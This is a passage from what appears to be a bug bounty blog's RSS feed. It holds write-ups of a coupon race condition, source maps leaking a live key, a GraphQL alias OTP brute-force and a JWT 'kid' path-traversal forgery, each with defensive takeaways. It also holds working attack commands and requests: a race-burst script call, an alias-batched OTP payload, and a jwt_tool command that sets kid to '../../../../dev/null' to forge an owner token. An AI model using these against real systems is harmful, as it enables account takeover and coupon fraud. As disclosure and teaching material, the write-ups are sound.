<p>No password, no token, no interaction. I stop at five records and report.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>A trusted header must be stripped at the boundary, not per route.</strong> The stripping rule belongs to the entry point, for everything that sits behind it.</li>
<li><strong>An error message that names the expected header does half the attacker’s work.</strong> <code>401</code> on its own would have been plenty.</li>
<li><strong>Back-office JS bundles are served before the SSO redirect</strong> in most setups: they describe the internal architecture to anyone who takes the time to read them.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/forwarded-header-bypass.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>One coupon, thirty-seven redemptions, forty milliseconds</title>
      <link>https://bughuntingjourney.com/writeups/coupon-race-condition</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/coupon-race-condition</guid>
      <pubDate>Wed, 26 Aug 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Race condition / TOCTOU</category>
      <description>Check and decrement separated by a network call. Textbook TOCTOU, confirmed with an HTTP/2 single-packet burst.</description>
      <content:encoded><![CDATA[<p>Race conditions are the one bug class where the proof fits in a chart. This one leaves a perfectly readable trace: thirty-seven <code>200</code>s for a coupon that allowed one.</p>
<h2 id="the-window">The window</h2>
<p>The cart code, reconstructed from observed behaviour, does three things in this order: it reads the coupon, it calls the billing service, then it writes the new counter. The network call in the middle opens a window of several tens of milliseconds during which every concurrent request reads the same value.</p>
<figure class="code"><div class="code-bar"><span class="code-title">The vulnerable pattern</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> coupon </span><span style="color:#A8A6CC">=</span><span style="color:#FF9C7A"> await</span><span style="color:#E8E6F5"> db</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">coupon</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">findOne</span><span style="color:#A8A6CC">({</span><span style="color:#E8E6F5"> code </span><span style="color:#A8A6CC">});</span><span style="color:#9492B6;font-style:italic">        // read</span></span><span class="code-line"><span style="color:#FF9C7A">if</span><span style="color:#A8A6CC"> (</span><span style="color:#E8E6F5">coupon</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">uses </span><span style="color:#A8A6CC">>=</span><span style="color:#E8E6F5"> coupon</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">maxUses</span><span style="color:#A8A6CC">)</span><span style="color:#FF9C7A"> throw</span><span style="color:#FF9C7A"> new</span><span style="color:#8FD3FF"> Error</span><span style="color:#A8A6CC">(</span><span style="color:#A8A6CC">'</span><span style="color:#8BD6A0">used</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">);</span></span><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> invoice </span><span style="color:#A8A6CC">=</span><span style="color:#FF9C7A"> await</span><span style="color:#E8E6F5"> billing</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">apply</span><span style="color:#A8A6CC">(</span><span style="color:#E8E6F5">cart</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> coupon</span><span style="color:#A8A6CC">);</span><span style="color:#9492B6;font-style:italic">       // ← the window</span></span><span class="code-line"><span style="color:#FF9C7A">await</span><span style="color:#E8E6F5"> db</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">coupon</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">update</span><span style="color:#A8A6CC">({</span><span style="color:#E8E6F5"> code </span><span style="color:#A8A6CC">},</span><span style="color:#A8A6CC"> {</span><span style="color:#E8E6F5"> uses</span><span style="color:#A8A6CC">:</span><span style="color:#E8E6F5"> coupon</span><span style="color:#A8A6CC">.</span><span style="color:#E8E6F5">uses </span><span style="color:#A8A6CC">+</span><span style="color:#F5C04E"> 1</span><span style="color:#A8A6CC"> });</span></span></code></pre></figure>
<h2 id="confirmation">Confirmation</h2>
<p>Forty requests sent in a single HTTP/2 packet, to remove network jitter between them:</p>
<figure class="code"><div class="code-bar"><span class="code-title">Burst - HTTP/2 single packet</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">python3</span><span style="color:#8BD6A0"> race.py</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">-target</span><span style="color:#8BD6A0"> https://app.target.tld/api/cart/apply-coupon</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">-concurrency</span><span style="color:#F5C04E"> 40</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">-single-packet</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">-body</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">{"code":"WELCOME50"}</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">-cookie</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">session=<span class="tok-redact" aria-label="redacted value">████████████████</span></span><span style="color:#A8A6CC">"</span></span></code></pre></figure>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">Aggregated result</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK   × 37</span></span><span class="code-line"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#FF8A7A;font-weight:700">409</span><span style="color:#8BD6A0"> Conflict × 3</span></span></code></pre></figure>
<p>Thirty-seven 50% discounts applied against a coupon flagged <code>maxUses: 1</code>. The final counter in the database read <code>1</code>.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>Any <code>read → decide → write</code> with a network call inside it is a race condition.</strong> The question is not whether the window exists, but whether anyone knows how to aim at it.</li>
<li><strong>The fix is not an application-level lock but a conditional write</strong>: <code>UPDATE … SET uses = uses + 1 WHERE code = ? AND uses &#x3C; max_uses</code>, then check the affected row count.</li>
<li><strong>The final counter read <code>1</code>.</strong> No business dashboard anywhere would have flagged the abuse.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/coupon-race-condition.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>Source maps in production, with two API keys inside</title>
      <link>https://bughuntingjourney.com/writeups/production-source-maps</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/production-source-maps</guid>
      <pubDate>Fri, 07 Aug 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Information disclosure</category>
      <description>The staging build shipped by mistake. Inside it: an internal admin endpoint and a third-party service key that was still live.</description>
      <content:encoded><![CDATA[<p>Not a glorious bug, but the fastest fix of the year. Thirty minutes of work, two hours to revocation.</p>
<h2 id="the-signal">The signal</h2>
<p>First reflex on any application: ask for the source maps of the bundles being served.</p>
<figure class="code"><div class="code-bar"><span class="code-title">Check</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#FF9C7A">for</span><span style="color:#E8E6F5"> f </span><span style="color:#FF9C7A">in</span><span style="color:#A8A6CC"> $(</span><span style="color:#FF9C7A;font-weight:bold">curl</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">s</span><span style="color:#8BD6A0"> https://app.target.tld/</span><span style="color:#A8A6CC"> |</span><span style="color:#FF9C7A;font-weight:bold"> grep</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">oE</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">/assets/[^"]+\.js</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">);</span><span style="color:#FF9C7A"> do</span></span><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">  curl</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">s</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">o</span><span style="color:#8BD6A0"> /dev/null</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">w</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">%{http_code} </span><span style="color:#F5C04E">$f</span><span style="color:#8BD6A0">.map\n</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">https://app.target.tld</span><span style="color:#F5C04E">$f</span><span style="color:#8BD6A0">.map</span><span style="color:#A8A6CC">"</span></span><span class="code-line"><span style="color:#FF9C7A">done</span></span></code></pre></figure>
<figure class="code"><div class="code-bar"><span class="code-title">Result</span><span class="code-lang">HTTP</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#E8E6F5">200 /assets/index.9f1c2a.js.map</span></span><span class="code-line"><span style="color:#E8E6F5">200 /assets/admin.4b77de.js.map</span></span><span class="code-line"><span style="color:#E8E6F5">404 /assets/vendor.88c01f.js.map</span></span></code></pre></figure>
<p>The second file had no business being there: the admin interface is not meant to be served from the same domain as the customer-facing app.</p>
<h2 id="what-was-inside">What was inside</h2>
<p>Reconstruction gives the full project tree, the developers’ comments, and two constants that should never have left the repository:</p>
<figure class="code"><div class="code-bar"><span class="code-title">src/config/internal.ts - reconstructed from the source map</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">export</span><span style="color:#FF9C7A"> const</span><span style="color:#E8E6F5"> INTERNAL </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> {</span></span><span class="code-line is-hl"><span style="color:#E8E6F5">  adminHost</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">ops-<span class="tok-redact" aria-label="redacted value">████████</span>.internal.target.tld</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span></span><span class="code-line is-hl"><span style="color:#E8E6F5">  mailApiKey</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">SG.<span class="tok-redact" aria-label="redacted value">████████████████████████████</span></span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#E8E6F5">  featureFlags</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> [</span><span style="color:#A8A6CC">'</span><span style="color:#8BD6A0">billing_v3</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">sso_scim</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">export_full</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC">],</span></span><span class="code-line"><span style="color:#A8A6CC">};</span></span></code></pre></figure>
<p>The messaging key was still live - verified with a single read-only call to the provider’s profile endpoint, without sending a single message. The feature flags, meanwhile, shaped the next piece of research: <code>export_full</code> is exactly the route that produced <a href="https://bughuntingjourney.com/writeups/export-owner-role">the account takeover</a> two months later.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong><code>.js.map</code> belongs in the bare minimum checklist</strong>, on every bundle, on every deployment.</li>
<li><strong>A source map does not only leak code</strong>: it leaks the tree, the comments and the internal names, which steer everything you look at next.</li>
<li><strong>An exposed key gets verified with the least intrusive call available</strong>, never with an action that produces a visible side effect.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/production-source-maps.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>Six digits, one request: brute-forcing an OTP through GraphQL aliases</title>
      <link>https://bughuntingjourney.com/writeups/otp-batching-bypass</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/otp-batching-bypass</guid>
      <pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Authentication bypass</category>
      <description>The rate limiter counted HTTP requests. GraphQL aliases let me put ten thousand verification attempts inside one of them.</description>
      <content:encoded><![CDATA[<p>Rate limiting is the control people are most confident about and least often test properly. At <span class="redacted" aria-label="redacted" title="Redacted">██████████</span> it was real, correctly configured, and completely bypassable.</p>
<h2 id="the-flow">The flow</h2>
<p>Log in with an email, receive a six-digit code, submit it. The UI blocks you after five wrong codes and the API answers <code>429</code> on the sixth within a minute. That part works.</p>
<p>The API is GraphQL. And GraphQL lets you ask the same field several times in one document, as long as each one gets its own alias.</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">The bypass, shortened to three attempts</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /graphql HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line is-hl"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">query</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">mutation { a0: verify(code:\"000000\") { token }</span></span><span class="code-line is-hl"><span style="color:#8BD6A0">                      a1: verify(code:\"000001\") { token }</span></span><span class="code-line is-hl"><span style="color:#8BD6A0">                      a2: verify(code:\"000002\") { token } }</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p>One HTTP request. One increment of the counter. Three verification attempts, or ten thousand if you feel like it. A six-digit space is a million codes, so a full sweep takes a hundred requests at ten thousand aliases each, well inside the five-per-minute budget.</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">data</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">a0</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#FF9C7A">null</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">a1</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#FF9C7A">null</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">a2</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">token</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">eyJhbGciOi<span class="tok-redact" aria-label="redacted value">████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}}</span></span></code></pre></figure>
<p>The response hands back which alias succeeded, so you do not even need to compare timings.</p>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>A rate limiter that counts HTTP requests does not limit anything on a GraphQL endpoint.</strong> The unit of work is the resolver call, not the request.</li>
<li><strong>Query depth and alias count are inputs too.</strong> Cap them, the same way you cap a request body size.</li>
<li><strong>A partial-success response that names the winning alias</strong> turns a blind attack into an instant one.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/otp-batching-bypass.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>The kid header that accepted a path</title>
      <link>https://bughuntingjourney.com/writeups/jwt-kid-traversal</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/jwt-kid-traversal</guid>
      <pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Authentication bypass</category>
      <description>The JWT library looked up the signing key by filename. The filename came from the token, and nobody checked it stayed in the keys directory.</description>
      <content:encoded><![CDATA[<p>The <code>kid</code> header exists so a service can rotate signing keys without breaking live tokens. It is a key identifier. At <span class="redacted" aria-label="redacted" title="Redacted">███████████</span> it was a file path, and it was attacker-controlled.</p>
<h2 id="the-signal">The signal</h2>
<p>Decoding a session token shows the header:</p>
<figure class="code"><div class="code-bar"><span class="code-title">JWT header, decoded</span><span class="code-lang">JSON</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="json"><code><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">alg</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">RS256</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">kid</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">keys/prod-2026-04.pem</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">typ</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">JWT</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> }</span></span></code></pre></figure>
<p>A relative path with a slash in it. That is not a key identifier, that is a filename being handed to a loader. The first thing to try is whether the loader resolves anything else.</p>
<figure class="code"><div class="code-bar"><span class="code-title">Probing the loader</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#9492B6;font-style:italic"># a kid that points outside the keys directory</span></span><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">python3</span><span style="color:#8BD6A0"> jwt_tool.py</span><span style="color:#A8A6CC"> "</span><span style="color:#F5C04E">$TOKEN</span><span style="color:#A8A6CC">"</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">I</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">hc</span><span style="color:#8BD6A0"> kid</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">hv</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">../../../../dev/null</span><span style="color:#A8A6CC">"</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">S</span><span style="color:#8BD6A0"> hs256</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">p</span><span style="color:#A8A6CC"> ""</span></span></code></pre></figure>
<p><code>/dev/null</code> reads as an empty file. If the library falls back to HMAC when the loaded key is empty, the signature is an HMAC with an empty secret, which anyone can compute. The forged token was accepted on the first try.</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">200</span><span class="code-title">OK</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">200</span><span style="color:#8BD6A0"> OK</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">user</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E">1</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">email</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0"><span class="tok-redact" aria-label="redacted value">████████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">role</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">owner</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}}</span></span></code></pre></figure>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong><code>kid</code> is an identifier, not a path.</strong> Look it up in a fixed map and reject anything that is not a key of that map.</li>
<li><strong>An empty key must be a hard failure</strong>, never a fallback to a symmetric algorithm.</li>
<li><strong>Pin the algorithm server-side.</strong> The token should never get a say in how it is verified.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/jwt-kid-traversal.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>An avatar that executed on the help desk</title>
      <link>https://bughuntingjourney.com/writeups/svg-avatar-stored-xss</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/svg-avatar-stored-xss</guid>
      <pubDate>Thu, 18 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Cross-site scripting</category>
      <description>SVG accepted as a profile picture, served inline from the same origin, and rendered to whoever opened the ticket.</description>
      <content:encoded><![CDATA[<p>An SVG is an XML document that the browser will happily execute scripts from. Treating it as an image format is the mistake, and <span class="redacted" aria-label="redacted" title="Redacted">███████████</span> made it in the most expensive place: the avatar shown next to every support ticket.</p>
<h2 id="the-upload">The upload</h2>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">Upload</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/profile/avatar HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> app.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span 